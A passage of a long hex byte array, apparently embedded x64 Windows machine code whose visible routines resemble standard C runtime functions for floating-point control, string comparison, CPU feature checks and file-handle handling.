0x5c, 0x24, - 0x08, 0x8b, 0x4c, 0x24, 0x08, 0x0f, 0xb7, 0xc2, 0x81, 0xe1, 0x3f, 0x00, - 0xff, 0xff, 0x25, 0xc0, 0xff, 0x00, 0x00, 0x0b, 0xc8, 0x89, 0x4c, 0x24, - 0x08, 0x0f, 0xae, 0x54, 0x24, 0x08, 0xc3, 0xcc, 0x8b, 0xd1, 0x41, 0xb9, - 0x01, 0x00, 0x00, 0x00, 0xc1, 0xea, 0x18, 0x83, 0xe2, 0x3f, 0x0f, 0xae, - 0x5c, 0x24, 0x08, 0x8b, 0xc2, 0x44, 0x8b, 0xc2, 0xd1, 0xe8, 0x45, 0x23, - 0xc1, 0x0f, 0xb6, 0xc8, 0x8b, 0xc2, 0xc1, 0xe8, 0x02, 0x41, 0x23, 0xc9, - 0xc1, 0xe1, 0x04, 0x41, 0xc1, 0xe0, 0x05, 0x44, 0x0b, 0xc1, 0x0f, 0xb6, - 0xc8, 0x41, 0x23, 0xc9, 0x8b, 0xc2, 0xc1, 0xe8, 0x03, 0xc1, 0xe1, 0x03, - 0x44, 0x0b, 0xc1, 0x0f, 0xb6, 0xc8, 0x41, 0x23, 0xc9, 0x8b, 0xc2, 0xc1, - 0xe8, 0x04, 0xc1, 0xe1, 0x02, 0x44, 0x0b, 0xc1, 0xc1, 0xea, 0x05, 0x0f, - 0xb6, 0xc8, 0x0f, 0xb6, 0xc2, 0x41, 0x23, 0xc9, 0x41, 0x23, 0xc1, 0x44, - 0x0b, 0xc1, 0x03, 0xc0, 0x44, 0x0b, 0xc0, 0x8b, 0x44, 0x24, 0x08, 0x83, - 0xe0, 0xc0, 0x41, 0x83, 0xe0, 0x3f, 0x41, 0x0b, 0xc0, 0x89, 0x44, 0x24, - 0x08, 0x0f, 0xae, 0x54, 0x24, 0x08, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, - 0x63, 0xd9, 0x41, 0x8b, 0xf8, 0x8b, 0xcb, 0x48, 0x8b, 0xf2, 0xe8, 0xb9, - 0xd6, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x75, 0x11, 0xe8, 0xe6, 0x6b, - 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc8, 0xff, - 0xeb, 0x53, 0x44, 0x8b, 0xcf, 0x4c, 0x8d, 0x44, 0x24, 0x48, 0x48, 0x8b, - 0xd6, 0x48, 0x8b, 0xc8, 0xff, 0x15, 0xd2, 0x1e, 0x00, 0x00, 0x85, 0xc0, - 0x75, 0x0f, 0xff, 0x15, 0x60, 0x1f, 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0x45, - 0x6b, 0xff, 0xff, 0xeb, 0xd3, 0x48, 0x8b, 0x44, 0x24, 0x48, 0x48, 0x83, - 0xf8, 0xff, 0x74, 0xc8, 0x48, 0x8b, 0xd3, 0x4c, 0x8d, 0x05, 0x42, 0xe2, - 0x00, 0x00, 0x83, 0xe2, 0x3f, 0x48, 0x8b, 0xcb, 0x48, 0xc1, 0xf9, 0x06, - 0x48, 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x0c, 0xc8, 0x80, 0x64, 0xd1, 0x38, - 0xfd, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, - 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xe9, 0x5f, 0xff, 0xff, - 0xff, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x75, 0x15, 0xe8, 0x55, - 0x6b, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x2a, 0x6a, - 0xff, 0xff, 0x83, 0xc8, 0xff, 0xeb, 0x51, 0x8b, 0x41, 0x14, 0x83, 0xcf, - 0xff, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x3a, 0xe8, 0x87, 0xad, 0xff, - 0xff, 0x48, 0x8b, 0xcb, 0x8b, 0xf8, 0xe8, 0x3d, 0xce, 0xff, 0xff, 0x48, - 0x8b, 0xcb, 0xe8, 0x05, 0x80, 0xff, 0xff, 0x8b, 0xc8, 0xe8, 0x7a, 0x08, - 0x00, 0x00, 0x85, 0xc0, 0x79, 0x05, 0x83, 0xcf, 0xff, 0xeb, 0x13, 0x48, - 0x8b, 0x4b, 0x28, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0x23, 0x6b, 0xff, - 0xff, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xba, 0x09, - 0x00, 0x00, 0x8b, 0xc7, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, - 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x4c, - 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, - 0xc9, 0x75, 0x1e, 0xe8, 0xcc, 0x6a, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, - 0x00, 0x00, 0xe8, 0xa1, 0x69, 0xff, 0xff, 0x83, 0xc8, 0xff, 0x48, 0x8b, - 0x5c, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x8b, 0x41, 0x14, - 0xc1, 0xe8, 0x0c, 0xa8, 0x01, 0x74, 0x07, 0xe8, 0x68, 0x09, 0x00, 0x00, - 0xeb, 0xe1, 0xe8, 0x25, 0x81, 0xff, 0xff, 0x90, 0x48, 0x8b, 0xcb, 0xe8, - 0x28, 0xff, 0xff, 0xff, 0x8b, 0xf8, 0x48, 0x8b, 0xcb, 0xe8, 0x1e, 0x81, - 0xff, 0xff, 0x8b, 0xc7, 0xeb, 0xc8, 0xcc, 0xcc, 0x4c, 0x8b, 0xda, 0x4c, - 0x8b, 0xd1, 0x4d, 0x85, 0xc0, 0x75, 0x03, 0x33, 0xc0, 0xc3, 0x41, 0x0f, - 0xb7, 0x0a, 0x4d, 0x8d, 0x52, 0x02, 0x41, 0x0f, 0xb7, 0x13, 0x4d, 0x8d, - 0x5b, 0x02, 0x8d, 0x41, 0xbf, 0x83, 0xf8, 0x19, 0x44, 0x8d, 0x49, 0x20, - 0x8d, 0x42, 0xbf, 0x44, 0x0f, 0x47, 0xc9, 0x83, 0xf8, 0x19, 0x8d, 0x4a, - 0x20, 0x41, 0x8b, 0xc1, 0x0f, 0x47, 0xca, 0x2b, 0xc1, 0x75, 0x0b, 0x45, - 0x85, 0xc9, 0x74, 0x06, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xc4, 0xc3, 0xcc, - 0x8b, 0x05, 0x6e, 0xe9, 0x00, 0x00, 0xc3, 0xcc, 0x33, 0xc0, 0x38, 0x01, - 0x74, 0x0e, 0x48, 0x3b, 0xc2, 0x74, 0x09, 0x48, 0xff, 0xc0, 0x80, 0x3c, - 0x08, 0x00, 0x75, 0xf2, 0xc3, 0xcc, 0xcc, 0xcc, 0x66, 0x89, 0x4c, 0x24, - 0x08, 0x48, 0x83, 0xec, 0x28, 0xe8, 0xea, 0x08, 0x00, 0x00, 0x85, 0xc0, - 0x74, 0x1f, 0x4c, 0x8d, 0x44, 0x24, 0x38, 0xba, 0x01, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, 0x42, 0x09, 0x00, 0x00, 0x85, 0xc0, - 0x74, 0x07, 0x0f, 0xb7, 0x44, 0x24, 0x30, 0xeb, 0x05, 0xb8, 0xff, 0xff, - 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0xe8, 0xf5, 0x09, 0x00, 0x00, 0x8b, 0xd8, 0xe8, 0x08, 0x0a, - 0x00, 0x00, 0x45, 0x33, 0xc9, 0xf6, 0xc3, 0x3f, 0x74, 0x4b, 0x8b, 0xcb, - 0x8b, 0xc3, 0x8b, 0xd3, 0x83, 0xe2, 0x01, 0xc1, 0xe2, 0x04, 0x44, 0x8b, - 0xc2, 0x41, 0x83, 0xc8, 0x08, 0x80, 0xe1, 0x04, 0x44, 0x0f, 0x44, 0xc2, - 0x41, 0x8b, 0xc8, 0x83, 0xc9, 0x04, 0x24, 0x08, 0x8b, 0xc3, 0x41, 0x0f, - 0x44, 0xc8, 0x8b, 0xd1, 0x83, 0xca, 0x02, 0x24, 0x10, 0x8b, 0xc3, 0x0f, - 0x44, 0xd1, 0x44, 0x8b, 0xca, 0x41, 0x83, 0xc9, 0x01, 0x24, 0x20, 0x44, - 0x0f, 0x44, 0xca, 0xf6, 0xc3, 0x02, 0x74, 0x05, 0x41, 0x0f, 0xba, 0xe9, - 0x13, 0x41, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, - 0xe9, 0x03, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x44, 0x8b, 0xe2, 0x8b, 0xd9, 0x41, 0x81, 0xe4, - 0x1f, 0x03, 0x08, 0x03, 0xe8, 0x63, 0x09, 0x00, 0x00, 0x44, 0x8b, 0xd0, - 0x44, 0x8b, 0xc8, 0x41, 0xc1, 0xe9, 0x03, 0x41, 0x83, 0xe1, 0x10, 0x44, - 0x8b, 0xc0, 0x41, 0xbe, 0x00, 0x02, 0x00, 0x00, 0x41, 0x8b, 0xd1, 0x83, - 0xca, 0x08, 0x45, 0x23, 0xc6, 0x41, 0x0f, 0x44, 0xd1, 0x8b, 0xca, 0x83, - 0xc9, 0x04, 0x25, 0x00, 0x04, 0x00, 0x00, 0x0f, 0x44, 0xca, 0x41, 0x8b, - 0xc2, 0x41, 0xb9, 0x00, 0x08, 0x00, 0x00, 0x8b, 0xd1, 0x83, 0xca, 0x02, - 0x41, 0x23, 0xc1, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc2, 0x41, 0xbb, 0x00, - 0x10, 0x00, 0x00, 0x8b, 0xca, 0x83, 0xc9, 0x01, 0x41, 0x23, 0xc3, 0x0f, - 0x44, 0xca, 0x41, 0x8b, 0xc2, 0xbe, 0x00, 0x01, 0x00, 0x00, 0x8b, 0xd1, - 0x0f, 0xba, 0xea, 0x13, 0x23, 0xc6, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc2, - 0x41, 0xbf, 0x00, 0x60, 0x00, 0x00, 0x41, 0x23, 0xc7, 0x74, 0x22, 0x3d, - 0x00, 0x20, 0x00, 0x00, 0x74, 0x19, 0x3d, 0x00, 0x40, 0x00, 0x00, 0x74, - 0x0d, 0x41, 0x3b, 0xc7, 0x75, 0x0f, 0x81, 0xca, 0x00, 0x03, 0x00, 0x00, - 0xeb, 0x07, 0x41, 0x0b, 0xd6, 0xeb, 0x02, 0x0b, 0xd6, 0x41, 0x81, 0xe2, - 0x40, 0x80, 0x00, 0x00, 0x41, 0x83, 0xea, 0x40, 0x74, 0x1d, 0x41, 0x81, - 0xea, 0xc0, 0x7f, 0x00, 0x00, 0x74, 0x0c, 0x41, 0x83, 0xfa, 0x40, 0x75, - 0x12, 0x0f, 0xba, 0xea, 0x18, 0xeb, 0x0c, 0x81, 0xca, 0x00, 0x00, 0x00, - 0x03, 0xeb, 0x04, 0x0f, 0xba, 0xea, 0x19, 0x45, 0x8b, 0xc4, 0x41, 0xf7, - 0xd0, 0x44, 0x23, 0xc2, 0x41, 0x23, 0xdc, 0x44, 0x0b, 0xc3, 0x44, 0x3b, - 0xc2, 0x0f, 0x84, 0xa0, 0x01, 0x00, 0x00, 0x41, 0x8b, 0xc8, 0x83, 0xe1, - 0x10, 0xc1, 0xe1, 0x03, 0x41, 0x8b, 0xc0, 0x8b, 0xd1, 0x41, 0x0b, 0xd6, - 0x24, 0x08, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc0, 0x8b, 0xca, 0x0f, 0xba, - 0xe9, 0x0a, 0x24, 0x04, 0x0f, 0x44, 0xca, 0x41, 0x8b, 0xc0, 0x8b, 0xd1, - 0x41, 0x0b, 0xd1, 0x24, 0x02, 0x0f, 0x44, 0xd1, 0x41, 0x8b, 0xc0, 0x8b, - 0xca, 0x41, 0x0b, 0xcb, 0x24, 0x01, 0x0f, 0x44, 0xca, 0x41, 0x8b, 0xc0, - 0x8b, 0xd9, 0x0b, 0xde, 0x25, 0x00, 0x00, 0x08, 0x00, 0x0f, 0x44, 0xd9, - 0x41, 0x8b, 0xc0, 0x25, 0x00, 0x03, 0x00, 0x00, 0x74, 0x23, 0x3b, 0xc6, - 0x74, 0x1b, 0x41, 0x3b, 0xc6, 0x74, 0x10, 0x89, 0x5c, 0x24, 0x40, 0x3d, - 0x00, 0x03, 0x00, 0x00, 0x75, 0x13, 0x41, 0x0b, 0xdf, 0xeb, 0x0a, 0x0f, - 0xba, 0xeb, 0x0e, 0xeb, 0x04, 0x0f, 0xba, 0xeb, 0x0d, 0x89, 0x5c, 0x24, - 0x40, 0x41, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x03, 0x41, 0x81, 0xf8, 0x00, - 0x00, 0x00, 0x01, 0x74, 0x1d, 0x41, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x02, - 0x74, 0x0f, 0x41, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x03, 0x75, 0x15, 0x0f, - 0xba, 0xeb, 0x0f, 0xeb, 0x0b, 0x83, 0xcb, 0x40, 0xeb, 0x06, 0x81, 0xcb, - 0x40, 0x80, 0x00, 0x00, 0x89, 0x5c, 0x24, 0x40, 0x80, 0x3d, 0xc5, 0xd3, - 0x00, 0x00, 0x00, 0x74, 0x36, 0xf6, 0xc3, 0x40, 0x74, 0x31, 0x8b, 0xcb, - 0xe8, 0xc7, 0x07, 0x00, 0x00, 0xeb, 0x32, 0xc6, 0x05, 0xae, 0xd3, 0x00, - 0x00, 0x00, 0x8b, 0x5c, 0x24, 0x40, 0x83, 0xe3, 0xbf, 0x8b, 0xcb, 0xe8, - 0xb0, 0x07, 0x00, 0x00, 0xbe, 0x00, 0x01, 0x00, 0x00, 0x41, 0xbe, 0x00, - 0x02, 0x00, 0x00, 0x41, 0xbf, 0x00, 0x60, 0x00, 0x00, 0xeb, 0x0a, 0x83, - 0xe3, 0xbf, 0x8b, 0xcb, 0xe8, 0x93, 0x07, 0x00, 0x00, 0x8b, 0xcb, 0xc1, - 0xe9, 0x03, 0x83, 0xe1, 0x10, 0x8b, 0xc3, 0x8b, 0xd1, 0x83, 0xca, 0x08, - 0x41, 0x23, 0xc6, 0x0f, 0x44, 0xd1, 0x8b, 0xc3, 0x8b, 0xca, 0x83, 0xc9, - 0x04, 0x25, 0x00, 0x04, 0x00, 0x00, 0x0f, 0x44, 0xca, 0x8b, 0xc3, 0x8b, - 0xd1, 0x83, 0xca, 0x02, 0x25, 0x00, 0x08, 0x00, 0x00, 0x0f, 0x44, 0xd1, - 0x8b, 0xc3, 0x8b, 0xca, 0x83, 0xc9, 0x01, 0x25, 0x00, 0x10, 0x00, 0x00, - 0x0f, 0x44, 0xca, 0x8b, 0xc3, 0x8b, 0xd1, 0x0f, 0xba, 0xea, 0x13, 0x23, - 0xc6, 0x0f, 0x44, 0xd1, 0x8b, 0xc3, 0x41, 0x23, 0xc7, 0x74, 0x22, 0x3d, - 0x00, 0x20, 0x00, 0x00, 0x74, 0x19, 0x3d, 0x00, 0x40, 0x00, 0x00, 0x74, - 0x0d, 0x41, 0x3b, 0xc7, 0x75, 0x0f, 0x81, 0xca, 0x00, 0x03, 0x00, 0x00, - 0xeb, 0x07, 0x41, 0x0b, 0xd6, 0xeb, 0x02, 0x0b, 0xd6, 0x81, 0xe3, 0x40, - 0x80, 0x00, 0x00, 0x83, 0xeb, 0x40, 0x74, 0x1b, 0x81, 0xeb, 0xc0, 0x7f, - 0x00, 0x00, 0x74, 0x0b, 0x83, 0xfb, 0x40, 0x75, 0x12, 0x0f, 0xba, 0xea, - 0x18, 0xeb, 0x0c, 0x81, 0xca, 0x00, 0x00, 0x00, 0x03, 0xeb, 0x04, 0x0f, - 0xba, 0xea, 0x19, 0x8b, 0xc2, 0x48, 0x8b, 0x5c, 0x24, 0x48, 0x48, 0x8b, - 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, - 0x5c, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x53, 0x48, 0x83, 0xec, 0x50, - 0xf2, 0x0f, 0x10, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8b, 0xd9, 0xf2, - 0x0f, 0x10, 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0xba, 0xc0, 0xff, 0x00, - 0x00, 0x89, 0x48, 0xc8, 0x48, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, - 0xf2, 0x0f, 0x11, 0x40, 0xe0, 0xf2, 0x0f, 0x11, 0x48, 0xe8, 0xf2, 0x0f, - 0x11, 0x58, 0xd8, 0x4c, 0x89, 0x40, 0xd0, 0xe8, 0x5c, 0x0a, 0x00, 0x00, - 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x9e, 0xa6, 0xff, 0xff, 0x85, 0xc0, - 0x75, 0x07, 0x8b, 0xcb, 0xe8, 0xf7, 0x09, 0x00, 0x00, 0xf2, 0x0f, 0x10, - 0x44, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x50, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xec, 0x20, 0x8b, 0xd9, 0x48, 0x8b, 0xf2, 0x83, 0xe3, 0x1f, 0x8b, - 0xf9, 0xf6, 0xc1, 0x08, 0x74, 0x14, 0x40, 0x84, 0xf6, 0x79, 0x0f, 0xb9, - 0x01, 0x00, 0x00, 0x00, 0xe8, 0x87, 0x0a, 0x00, 0x00, 0x83, 0xe3, 0xf7, - 0xeb, 0x57, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x40, 0x84, 0xf9, 0x74, 0x11, - 0x48, 0x0f, 0xba, 0xe6, 0x09, 0x73, 0x0a, 0xe8, 0x6c, 0x0a, 0x00, 0x00, - 0x83, 0xe3, 0xfb, 0xeb, 0x3c, 0x40, 0xf6, 0xc7, 0x01, 0x74, 0x16, 0x48, - 0x0f, 0xba, 0xe6, 0x0a, 0x73, 0x0f, 0xb9, 0x08, 0x00, 0x00, 0x00, 0xe8, - 0x50, 0x0a, 0x00, 0x00, 0x83, 0xe3, 0xfe, 0xeb, 0x20, 0x40, 0xf6, 0xc7, - 0x02, 0x74, 0x1a, 0x48, 0x0f, 0xba, 0xe6, 0x0b, 0x73, 0x13, 0x40, 0xf6, - 0xc7, 0x10, 0x74, 0x0a, 0xb9, 0x10, 0x00, 0x00, 0x00, 0xe8, 0x2e, 0x0a, - 0x00, 0x00, 0x83, 0xe3, 0xfd, 0x40, 0xf6, 0xc7, 0x10, 0x74, 0x14, 0x48, - 0x0f, 0xba, 0xe6, 0x0c, 0x73, 0x0d, 0xb9, 0x20, 0x00, 0x00, 0x00, 0xe8, - 0x14, 0x0a, 0x00, 0x00, 0x83, 0xe3, 0xef, 0x48, 0x8b, 0x74, 0x24, 0x38, - 0x33, 0xc0, 0x85, 0xdb, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x0f, 0x94, 0xc0, - 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x55, - 0x53, 0x56, 0x57, 0x41, 0x56, 0x48, 0x8d, 0x68, 0xc9, 0x48, 0x81, 0xec, - 0xf0, 0x00, 0x00, 0x00, 0x0f, 0x29, 0x70, 0xc8, 0x48, 0x8b, 0x05, 0xbd, - 0xc7, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x45, 0xef, 0x8b, 0xf2, - 0x4c, 0x8b, 0xf1, 0xba, 0xc0, 0xff, 0x00, 0x00, 0xb9, 0x80, 0x1f, 0x00, - 0x00, 0x41, 0x8b, 0xf9, 0x49, 0x8b, 0xd8, 0xe8, 0x3c, 0x09, 0x00, 0x00, - 0x8b, 0x4d, 0x5f, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x89, 0x5c, 0x24, - 0x50, 0xf2, 0x0f, 0x10, 0x44, 0x24, 0x50, 0x48, 0x8b, 0x54, 0x24, 0x40, - 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x48, 0xe8, 0xe1, 0xfe, 0xff, 0xff, 0xf2, - 0x0f, 0x10, 0x75, 0x77, 0x85, 0xc0, 0x75, 0x40, 0x83, 0x7d, 0x7f, 0x02, - 0x75, 0x11, 0x8b, 0x45, 0xbf, 0x83, 0xe0, 0xe3, 0xf2, 0x0f, 0x11, 0x75, - 0xaf, 0x83, 0xc8, 0x03, 0x89, 0x45, 0xbf, 0x44, 0x8b, 0x45, 0x5f, 0x48, - 0x8d, 0x44, 0x24, 0x48, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8d, 0x54, - 0x24, 0x40, 0x48, 0x8d, 0x45, 0x6f, 0x44, 0x8b, 0xce, 0x48, 0x8d, 0x4c, - 0x24, 0x60, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x48, 0x05, 0x00, 0x00, - 0xe8, 0xef, 0xa4, 0xff, 0xff, 0x84, 0xc0, 0x74, 0x34, 0x85, 0xff, 0x74, - 0x30, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x4d, 0x8b, 0xc6, 0xf2, 0x0f, 0x10, - 0x44, 0x24, 0x48, 0x8b, 0xcf, 0xf2, 0x0f, 0x10, 0x5d, 0x6f, 0x8b, 0x55, - 0x67, 0x48, 0x89, 0x44, 0x24, 0x30, 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x28, - 0xf2, 0x0f, 0x11, 0x74, 0x24, 0x20, 0xe8, 0xf5, 0xfd, 0xff, 0xff, 0xeb, - 0x1c, 0x8b, 0xcf, 0xe8, 0x3c, 0x08, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, - 0x40, 0xba, 0xc0, 0xff, 0x00, 0x00, 0xe8, 0x7d, 0x08, 0x00, 0x00, 0xf2, - 0x0f, 0x10, 0x44, 0x24, 0x48, 0x48, 0x8b, 0x4d, 0xef, 0x48, 0x33, 0xcc, - 0xe8, 0x43, 0x10, 0xff, 0xff, 0x0f, 0x28, 0xb4, 0x24, 0xe0, 0x00, 0x00, - 0x00, 0x48, 0x81, 0xc4, 0xf0, 0x00, 0x00, 0x00, 0x41, 0x5e, 0x5f, 0x5e, - 0x5b, 0x5d, 0xc3, 0xcc, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x48, 0x0b, 0xc8, 0x48, 0x89, 0x4c, 0x24, 0x08, 0xf2, 0x0f, - 0x10, 0x44, 0x24, 0x08, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x10, 0x45, 0x33, 0xc0, 0x33, 0xc9, 0x44, 0x89, 0x05, 0x6a, 0xe3, - 0x00, 0x00, 0x45, 0x8d, 0x48, 0x01, 0x41, 0x8b, 0xc1, 0x0f, 0xa2, 0x89, - 0x04, 0x24, 0xb8, 0x00, 0x10, 0x00, 0x18, 0x89, 0x4c, 0x24, 0x08, 0x23, - 0xc8, 0x89, 0x5c, 0x24, 0x04, 0x89, 0x54, 0x24, 0x0c, 0x3b, 0xc8, 0x75, - 0x2c, 0x33, 0xc9, 0x0f, 0x01, 0xd0, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x0b, - 0xd0, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x44, - 0x8b, 0x05, 0x2a, 0xe3, 0x00, 0x00, 0x24, 0x06, 0x3c, 0x06, 0x45, 0x0f, - 0x44, 0xc1, 0x44, 0x89, 0x05, 0x1b, 0xe3, 0x00, 0x00, 0x44, 0x89, 0x05, - 0x18, 0xe3, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x10, 0x5b, 0xc3, - 0x48, 0x83, 0xec, 0x38, 0x48, 0x8d, 0x05, 0x65, 0x9b, 0x00, 0x00, 0x41, - 0xb9, 0x1b, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x05, - 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0xc4, 0x48, - 0x83, 0xec, 0x68, 0x0f, 0x29, 0x70, 0xe8, 0x0f, 0x28, 0xf1, 0x41, 0x8b, - 0xd1, 0x0f, 0x28, 0xd8, 0x41, 0x83, 0xe8, 0x01, 0x74, 0x2a, 0x41, 0x83, - 0xf8, 0x01, 0x75, 0x69, 0x44, 0x89, 0x40, 0xd8, 0x0f, 0x57, 0xd2, 0xf2, - 0x0f, 0x11, 0x50, 0xd0, 0x45, 0x8b, 0xc8, 0xf2, 0x0f, 0x11, 0x40, 0xc8, - 0xc7, 0x40, 0xc0, 0x21, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xb8, 0x08, 0x00, - 0x00, 0x00, 0xeb, 0x2d, 0xc7, 0x44, 0x24, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x0f, 0x57, 0xc0, 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x38, 0x41, 0xb9, 0x02, - 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x11, 0x5c, 0x24, 0x30, 0xc7, 0x44, 0x24, - 0x28, 0x22, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x20, 0x04, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0x8c, 0x24, 0x90, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x11, - 0x74, 0x24, 0x78, 0x4c, 0x8b, 0x44, 0x24, 0x78, 0xe8, 0xa3, 0xfd, 0xff, - 0xff, 0x0f, 0x28, 0xc6, 0x0f, 0x28, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, - 0x68, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, - 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, - 0xd8, 0x8b, 0x0a, 0xe8, 0xb4, 0xcc, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x03, - 0x48, 0x63, 0x08, 0x48, 0x8b, 0xd1, 0x48, 0x8b, 0xc1, 0x48, 0xc1, 0xf8, - 0x06, 0x4c, 0x8d, 0x05, 0x84, 0xd9, 0x00, 0x00, 0x83, 0xe2, 0x3f, 0x48, - 0x8d, 0x14, 0xd2, 0x49, 0x8b, 0x04, 0xc0, 0xf6, 0x44, 0xd0, 0x38, 0x01, - 0x74, 0x09, 0xe8, 0xcd, 0x00, 0x00, 0x00, 0x8b, 0xd8, 0xeb, 0x0e, 0xe8, - 0xc0, 0x62, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0x83, 0xcb, - 0xff, 0x8b, 0x0f, 0xe8, 0x94, 0xcc, 0xff, 0xff, 0x8b, 0xc3, 0x48, 0x8b, - 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, - 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x38, 0x48, 0x63, 0xd1, 0x83, - 0xfa, 0xfe, 0x75, 0x15, 0xe8, 0x6b, 0x62, 0xff, 0xff, 0x83, 0x20, 0x00, - 0xe8, 0x83, 0x62, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xeb, - 0x74, 0x85, 0xc9, 0x78, 0x58, 0x3b, 0x15, 0x15, 0xdd, 0x00, 0x00, 0x73, - 0x50, 0x48, 0x8b, 0xca, 0x4c, 0x8d, 0x05, 0x09, 0xd9, 0x00, 0x00, 0x83, - 0xe1, 0x3f, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0c, - 0xc9, 0x49, 0x8b, 0x04, 0xc0, 0xf6, 0x44, 0xc8, 0x38, 0x01, 0x74, 0x2d, - 0x48, 0x8d, 0x44, 0x24, 0x40, 0x89, 0x54, 0x24, 0x50, 0x89, 0x54, 0x24, - 0x58, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x8d, 0x54, 0x24, 0x58, 0x48, - 0x89, 0x44, 0x24, 0x20, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x4c, - 0x24, 0x48, 0xe8, 0x0d, 0xff, 0xff, 0xff, 0xeb, 0x1b, 0xe8, 0xfa, 0x61, - 0xff, 0xff, 0x83, 0x20, 0x00, 0xe8, 0x12, 0x62, 0xff, 0xff, 0xc7, 0x00, - 0x09, 0x00, 0x00, 0x00, 0xe8, 